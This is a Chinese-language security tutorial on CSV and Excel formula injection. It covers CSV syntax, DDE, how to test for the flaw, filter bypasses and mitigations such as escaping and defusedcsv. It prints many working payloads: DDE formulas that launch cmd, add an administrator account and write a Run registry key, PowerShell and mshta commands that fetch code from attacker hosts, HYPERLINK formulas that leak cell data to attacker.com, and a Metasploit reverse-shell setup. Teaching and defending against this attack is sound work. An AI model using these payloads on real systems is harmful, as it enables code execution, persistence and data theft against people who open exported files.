跳至主要內容

CSV 注入

Mr.zha0cai大约 13 分钟

CSV 概述

CSV Wikiopen in new window

逗号分隔值(Comma-Separated Values,CSV,有时也称为字符分隔值,因为分隔字符也可以不是逗号),其文件以纯文本形式存储表格数据(数字和文本)。纯文本意味着该文件是一个字符 "字符 (计算机科学)")序列,不含必须像二进制数字那样被解读的数据。

CSV 格式在发展过程中也逐渐演变出其他一些分支和变种。从名字(Comma-Separated-Value)可以看出,坚持使用逗号才是正规的做法。但有些程序也开始使用 Tab 或管道符(|​),甚至其他更多符号来进行分割。 在格式变化的同时,有的程序继续沿用 CSV 的名称,有的则引入了其他稍有变化的名字,比如 DSV(Delimiter-Separated Values)。这使得局面变得有点混乱,而这种混乱,到现在仍然在延续...

CSV 文件的格式不存在通用标准,也没有指定所使用的字符编码,但是在 RFC 4180open in new window 中有基础性的描述, 而 7-bit ASCII 是最基本的通用编码。

公式注入(Formula Injection)攻击

在 2013 年、2014 年就相继有人提出 Cell Injection、CSV Injection,将包含恶意命令的 excel 公式插入到可以导出 csv 或 xls 等格式的文本中,诱导受害者打开带有恶意公式的 Excel 文件,在打开文件后执行 Excel 公式。凡是带这种公式计算功能的表格处理软件或多或少都会受影响,如 WPS、LibreOffice 等等。

CSV Injection is an attack technique first discovered by Context Information Security in 2014open in new window.

现在越来越多的云端产品都提供了数据导出为 CSV、xlsx 文件格式,如果能控制它们的数据源,并且未做内容验证,就可以触发公式注入,最近我在一些内部平台中就相继发现不少这类问题。

CSV 特性

分割符

  • CSV 的基本格式是逗号分隔的一系列字段。同时规范要求,所有字段都可以用引用符号(通常是双引号 "​​ )包围起来。因此,以下两行数据在语义上是完全相同的:

    shenzhen,2019,china
    "shenzhen","2019","china"
    

    至于何时应该加引号、何时不加,规范并无明确要求,而是把这个决定留给应用程序。但如果字段内容中出现了逗号,为了避免歧义,就必须加上引号。 此外,如果字段内容中存在空白字符的话,为了明确起见,一般也建议加上。

  • 如果字段内容中本来就有引号,该怎么办呢?那就需要在前面再加一个引号

    比如:

    shenzhen,2019,"known as ""Special region"""
    

    你可能在某些地方看到类似 C 语言的转义符用方法:

    shenzhen,2019,"known as \"Special region\""
    

    但这只是部分程序的行为,并不是规范的做法,也不为许多标准的 CSV 库所支持。

    如果使用引号的话,还需要注意:按照规范要求,引号与逗号之间不应该存在空白。因此,下面的内容严格来说是非法的。

    "shenzhen" , "2019" , "china"
    

    但对于类似这样的错误该如何处理,标准也没有明确规定。有些“聪明”的软件会自动尝试去掉空格。

  • excel 的一个特性:单元格中的第一个字符是“+​、-​、@​、=​”这样的符号时,它会以一个表达式的形式被处理,不过在测试中发现 WPS 不会执行“@​”开头的。

    例如,输入 =9+1​ 单元格会显示 10。

image

  • 针对二进制流是开头是 Tab (0x09)​、Enter (0x0D)​ 也有可能造成注入。
  • 使用 python 创建一个 csv:py .\csv_test.py
import csv

# 定义数据
data = [
    {"name": "=", "age": "=1+1"},
    {"name": "-", "age": "-2+3"},
    {"name": "@", "age": "@2+3"},
    {"name": "+", "age": "+2+3"},
]

# 定义 CSV 文件路径
csv_file = "data.csv"

# 写入 CSV 文件
with open(csv_file, mode='w', newline='') as file:
    writer = csv.DictWriter(file, fieldnames=["name", "age"])

    # 写入标题
    writer.writeheader()

    # 写入数据
    for row in data:
        writer.writerow(row)

print("CSV 文件已创建成功!")

image

DDE

动态数据交换(DDE),是 Windows 下进程间通信协议,支持 Microsoft Excel,LibreOffice 和 Apache OpenOffice。Excel、Word、Rtf、Outlook 都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含 DDE 公式的 CSV 文件,那么在打开该文件时,Excel 就会尝试执行外部应用。

漏洞挖掘

安全测试

  1. 查找、留意系统中是否有到导出为 csv 或 xls 格式的利用点。一般存在于信息统计,或者日志导出等地方。

  2. 确定导出的内容可控

    1. 可以在界面可直接进行编辑/新增
    2. 通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入
  3. 如果存在注入点且有过滤,尝试绕过,最后进行 OS 执行等深入利用

  4. 其他常见 csv 注入输入场景有:

    1. burpsuite 抓取登录报文,修改用户名为"=cmd|'/c ping 127.0.0.1 -t'!A1​",查看导出的安全日志中是否会执行构造的命令
    2. 操作失败日志记录场景(比如上传文件场景,将文件名修改为"=cmd|'/c ping 127.0.0.1 -t'!A1​")以及其他可被用户控制的入参操作场景,且这些用户的控制入参可被记录到可导出日志中,查看导出的安全日志中是否会执行构造的命令
  5. 建议构造如下数据

=cmd|'/c calc'!'A1'
\",=cmd|'/c calc'!'A1'
",=cmd|'/c calc'!'A1'
xxx,=cmd|'/c calc'!'A1'
xxx\n=cmd|'/c calc'!'A1'

========
在 csv 文件 和 xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识别为一个公式, 此时可以注入系统命令实现命令执行。

# 常用 payload
=cmd|'/c calc'!A0    # 弹计算器

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!'' # 弹计算器

=HYPERLINK("http://vps_ip?test="&A2&A3,"Error: Please click me!")  # 发起 http请求获取数据
  1. 覆盖产品中所有存在导出 CSV/Excel​ 等格式的场景。

Bypass

  • 等于号被过滤的情况,可以通过运算符 +-​​ 的方式绕过

    -1+1+cmd |' /C calc'!A0​​

  • 参数处输入一下 payload,由于 %0A​​ 被解析,从而后面的数据跳转的下一行

    %0A-1+1+cmd |' /C calc'!A0​​

  • 导出文件为 CSV 时,若系统在等号 =​​ 前加了引号 '​​ 过滤,则可以使用分号绕过,分号(;​​)可以分离前后两部分内容使其分别执行【此技巧和上面的换行本质是一样的,相当于在新的单元格里面写入内容】

    ;-3+3+cmd|'/C calc'!D2​​

  • 其他

    @SUM(cmd|'/c calc'!A0)

    @SUM(1+1)*cmd|' /C calc'!A0

    @SUM(1+1)*cmd|' /C powershell IEX(wget 0r.pe/p)'!A0

注意事项

Excel

执行外部命令需要用到 Excel 的 DDE(Dynamic Data Exchange,动态数据交换),在新版本的 Excel 中(我的为 Excel 2016)需要修改设置才能复现:

文件 > 选项 > 信任中心 > 信任中心设置 > 外部内容

在“动态数据交换的安全设置”中勾选“启用动态数据交换服务器查找”和“启用动态数据交换服务器启动”。

image

虽然微软默认关闭了 DDE 让执行外部命令有一些难度,但并不表示这个漏洞就无用武之地,毕竟公式是可以改变数据最终呈现的,比如上文提到的 HYPERLINK 能用来钓鱼、泄露信息,或者涉及金额计算的地方用来修改金额等。

这类漏洞通常出现在涉及导出数据的地方,比如导出日志统计信息配置信息等等位置。

WPS

  1. 打开 WPS 公式编辑器,并选择要链接的单元格。

  2. 在公式编辑栏中输入“=”符号,然后输入“DDE("程序名称”,“服 务器名称”,“数据项””。

    1. 程序名称:指的是链接的数据源程序名称,例如 Excel。
    2. 服务器名称:指的是数据源程序的文件名和路径。
    3. 数据项:指的是要链接的数据项,可以是单元格的数值、字符,或者其他数据类型。
  3. 例如,"DDE(Excel,C:\data.xlsx,Sheetl!A1)"​ 表示链接 Excel 文 件中 Sheet1 工作表的 A1 单元格数据。

  4. 按下回车键,完成动态链接。

漏洞危害

泄露敏感信息

HYPERLINK 函数 - Microsoft 支持open in new window

语法:HYPERLINK(link_location, [friendly_name])

link_location​ 的各种形式可以参看上面的官方示例。

其中很大的一方面是由于信任域的原因导致用户仍可能受到攻击,用户在 security.com 域下导出自己的 Guestbook.csv ,但由于恶意用户偷偷的在留言板中插入了恶意代码:

=HYPERLINK("http://linux.im?test="&A2&A3,"Error: Please click me!")

这样就导致当用户在导出报表后倘若点击了某个单元格则会导致 A2,A3 的单元格内容泄露。

image

【实操】

这样当用户在导出报表后,若点击这个单元格则会导致 A1 单元格的内容泄露。

image

image


【关于 python csv 库的问题】

import csv

# 定义数据
data = [
    {"name": "=", "age": "=1+1"},
    {"name": "-", "age": "-2+3"},
    {"name": "@", "age": "@2+3"},
    {"name": "+", "age": "+2+3"},
    {"name": "hyperlink", "age": "=HYPERLINK(\"http://www.baidu.com/\"&A1,\"click\")"},
]

# 定义 CSV 文件路径
csv_file = "data_hyperlink.csv"

# 写入 CSV 文件
with open(csv_file, mode='w', newline='') as file:
    writer = csv.DictWriter(file, fieldnames=["name", "age"])

    # 写入标题
    writer.writeheader()

    # 写入数据
    for row in data:
        writer.writerow(row)

print("CSV 文件已创建成功!")

image

Excel 解析时会将两个双引号转义为单个双引号。

image

image

关于全文信息泄露】

之前使用 &A1&A2&A3&A4​ 窃取表单数据的方式看起来有点笨重,我找到了一种新的方法来更方便的窃取全文信息。

APPLIES TO: Excel 2016, Excel Online, Excel for Android tablets, Excel Mobile, Excel for Android phones, Less.

CONCAT function - Microsoft Supportopen in new window

2016 之前的 excel 和其他的版本的连接字符串的函数 concatenate 不支持 cell range 的语法,也不能自定义函数,这样的话就没有办法简写,只能生成比较长的 url。但 2016 之后的 excel 我们可以使用 concat 函数,支持传入一个 range,比如 concat(A1:A10)​ ,这样便能直接读取整个表格中的数据。

RCE 钓鱼

利用 DDE 注入,远程命令执行。在单元格中输入 1+cmd|'/C calc'!A0​,回车后 Excel 会弹出一个框,提醒 Excel 需要启动另外一个程序(cmd),点击是,Windows 会弹出计算器窗口。

image

  • 老版本比如说:office 2016 默认开启。

  • 新版本要手动打开:文件 -- 选项 -- 信任中心 -- 信任中心设置 -- 外部内容 -- 启用动态数据交换服务器启动

image

image

测试了一下 @​ 失败了,其余成功。

image


【其他 payload】

导出 xlsx 文件与 CSV 注入类似,也存在类似的问题,因为都是利用 Excel 公式语法执行系统命令。

# 添加用户
=cmd|'/C net user test 123456/add'!A0+<br>=cmd|'/C net user test 123456/add && net localgroup administrators test /add'!A0

# 修改注册表
=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0

# RCE
=cmd|' /C calc'!A0
+cmd|' /C calc'!A0
-cmd|' /C calc'!A0
@SUM(cmd|'/c calc'!A0)

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
=10+20+cmd|' /C calc'!A0
@SUM(1+9)*cmd|' /C calc'!A0

# 信息泄漏
=HYPERLINK("http://attacker.com/?param1=value1&param2="&A1&"@attacker.com")

# ======== 修复库的测试 payload
@pytest.mark.parametrize("input,expected", [
    # Sample dangerous payloads
    ("=1+1", "'=1+1"),
    ("-1+1", "'-1+1"),
    ("+1+1", "'+1+1"),
    ("=1+1", "'=1+1"),
    ("@A3", "'@A3"),
    ("%1", "'%1"),
    ("|1+1", "'\\|1+1"),
    ("=1|2", "'=1\\|2"),
    # https://blog.zsec.uk/csv-dangers-mitigations/
    ("=cmd|' /C calc'!A0", "'=cmd\\|' /C calc'!A0"),
    ("=cmd|' /C powershell IEX(wget 0r.pe/p)'!A0", "'=cmd\\|' /C powershell IEX(wget 0r.pe/p)'!A0"),
    ("@SUM(1+1)*cmd|' /C calc'!A0", "'@SUM(1+1)*cmd\\|' /C calc'!A0"),
    ("@SUM(1+1)*cmd|' /C powershell IEX(wget 0r.pe/p)'!A0", "'@SUM(1+1)*cmd\\|' /C powershell IEX(wget 0r.pe/p)'!A0"),
    # https://hackerone.com/reports/72785
    ("-2+3+cmd|' /C calc'!A0", "'-2+3+cmd\\|' /C calc'!A0"),
    # https://web.archive.org/web/20220516052229/https://www.contextis.com/us/blog/comma-separated-vulnerabilities
    ('=HYPERLINK("http://contextis.co.uk?leak="&A1&A2,"Error: please click for further information")',
     '\'=HYPERLINK("http://contextis.co.uk?leak="&A1&A2,"Error: please click for further information")'),

])

MSF

# 利用 MSF 框架反弹 shell,使用 office_word_hta 模块去反弹 shell
msf6 > use exploit/windows/misc/hta_server
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/misc/hta_server) > set srvhost 192.168.202.61
srvhost => 192.168.202.61
msf6 exploit(windows/misc/hta_server) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.202.61:4444 
[*] Using URL: http://192.168.202.61:8080/JO9CGVsbSAKZKYC.hta
msf6 exploit(windows/misc/hta_server) > [*] Server started.

然后将在 EXCEL 中插入恶意载荷

+1+cmd|'/c mshta.exe http://192.168.202.61:8080/JO9CGVsbSAKZKYC.hta'!A0

漏洞防范

  1. 根据业务场景来严格限制输入格式,比如填 URI 的地方判断 URI 格式是否正确;

  2. 生成表格文件时,凡是公式字符开头(=、+、-、@)数据,可以添加单引号在首部来阻止被解析。Python 已经有开源的库帮我们写好了此逻辑,可以直接引入使用,详情见 GitHub - raphaelm/defusedcsv: Python library to protect your users from Excel injections in CSV-format exports, drop-in replacement for standard library's csv moduleopen in new window

  3. 请记住,仅确保不受信任的用户输入不以这些字符开头是不够的。您还需要注意字段分隔符(例如,“ ,​​​ ”或“ ;​​​ ”)和引号(例如, '​​​ 或 "​​​ ),因为攻击者可以使用它来启动一个新单元格,然后在用户输入的中间但在单元格的开头放置危险字符。CSV Injection | OWASP Foundationopen in new window

    1. 将每个单元格字段用双引号引起来
    2. 在每个单元格字段前面加上单引号
    3. 使用额外的双引号转义每个双引号
  4. 问题在于管道 (|​​) 字符,Excel 和其他应用程序解释该字符以执行 {arbitrary}​​ 命令并从这些有效负载向量启动 Windows 二进制文件。通过阅读有关攻击的内容并研究可能的缓解技术,我发现最好的解决方法是在这种攻击场景中转义管道字符,即在管道之前添加 \​​ 。

def escape(payload):
     if payload[0] in ('@','+','-', '=', '|', '%'):
             payload = payload.replace("|", "\|")
             payload = "'" + payload + "'"
     return payload

# An example of payload string
payload = "@cmd|' /C calc'!A0"
print "The Unescaped version is: " +  payload
print "When passed though escape function the value is: " + escape(payload)
  1. 来自 Microsoft 的提示

image

前人栽树

CSV Injection 实例

环境条件

“由于 csv 并没有通用标准,而 excel 在没有任何标准的前提下把数据中的第一个等号解释为方程,导致了安全问题。”-- 特性

解决方案完全只是为了适配 excel,在适配 excel 的同时,不可能适配其它应用(因为没有统一的标准)”

因此必然无可避免的副作用就是,如果不是用 excel 来打开,比如使用导入工具把 csv 直接导入到 mysql 数据库,则数据 =X​ 导入到 mysql 后,会变成 ="=X"​。

漏洞挖掘

这个是一个截断的实例,该程序会给 =、+、-、@​​ 开头的单元格内容添加 =""​​,即强制引号 "​​ 输出的同时,添加一个额外的 =​​ 前缀来适配 excel。


payload:

=HYPERLINK("http://baidu.com","=cmd|'/C calc'!A0)

导出后变成了

="=HYPERLINK(""http://baidu.com"",""=cmd|'/C calc'!A0"

这样就导致 cmd 前面的引号 "​ 和第一个引号闭合了,所以后面 =cmd|'/C calc'!A0"​ 就被写到了新的单元格,导致的引号逃逸。

image